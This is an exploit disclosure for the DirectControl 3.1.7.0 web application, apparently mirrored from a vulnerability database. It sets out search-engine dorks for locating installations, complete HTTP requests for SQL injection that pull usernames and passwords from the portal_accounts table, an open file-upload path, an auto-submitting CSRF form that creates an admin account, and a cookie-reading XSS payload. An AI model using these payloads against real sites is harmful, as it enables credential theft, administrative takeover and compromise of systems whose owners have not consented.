DirectControlTM Version 3.1.7.0 - Multiple Vulnerabilties

🗓️ 01 Jul 2014 00:00:00Reported by RootType
DirectControl Version 3.1.7.0 Multiple Vulnerabilties - Sql Injection, Arbitrary File Upload, CSRF Add Admi

                                                DirectControlTM Version 3.1.7.0  - Multiple Vulnerabilties
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [[email protected]] , [[email protected]]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : www.directclarity.com
.:. Dork           : [1]intext:&#34;DirectClarity, LLC All Rights Reserved.&#34;
                     [2]inurl:&#34;/cm/password_retrieve.asp?redir_id=1&#34;
####################################################################

################################
[1] Sql Injection
===================
type: Post String Mssql Injection


extrct version database:
-------------------------

POST /cm/password_retrieve.asp HTTP/1.1
Host: www.server.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site/cm/password_retrieve.asp
Cookie: __utma=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
redir_id=1&uname=&#39; and+1=cast(@@version as int)--
-&email_password=Email+My+Password
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Cache-Control: private
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date:
Content-Length: 352




redir_id=1&uname=|command|&email_password=Email+My+Password


extrct Username & password:
----------------------------

information:
tablename:portal_accounts
columns: username , password


POST /cm/password_retrieve.asp HTTP/1.1
Host: www.server.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site/cm/password_retrieve.asp
Cookie: __utma=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
redir_id=1&uname=&#39; and+1=cast((Select TOP 1 username from portal_accounts)
as int)
-- -&email_password=Email+My+Password
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Cache-Control: private
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date:
Content-Length: 352


username:
redir_id=1&uname=&#39; and+1=cast((Select TOP 1 username from portal_accounts)
as int)
-- -&email_password=Email+My+Password

password:
redir_id=1&uname=&#39; and+1=cast((Select TOP 1 password from portal_accounts)
as int)
-- -&email_password=Email+My+Password


[2] Arbitrary File Upload
==========================

http://site/cm/fileManage/default.asp?action=UploadFiles&path=/cm/media/images

your file:
http://site/cm/media/images


[3] CSRF [Add Admin]
=====================

&#60;html&#62;
&#60;body onload=&#34;document.form0.submit();&#34;&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://site/cm/admin.asp&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fname&#34; value=&#34;....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;lname&#34; value=&#34;....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;uname&#34; value=&#34;admin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;pword&#34; value=&#34;123456&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;telco&#34; value=&#34;....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;ustat&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;SecGroupDropDown&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;AddButton&#34; value=&#34;ADD THIS USER&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;pageView&#34; value=&#34;User Administration&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;pageAction&#34; value=&#34;Add System User&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;whatDo&#34; value=&#34;AddUserAction&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;


[4] Cross Site Scripting
=========================

Go to:
http://site/cm/admin.asp?pageView=General Configuration&pageAction=RSS
Management

and add new channel
put in new channel:
&#60;script&#62;alert(document.cookie);&#60;/script&#62;

and submit!

####################################################################
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1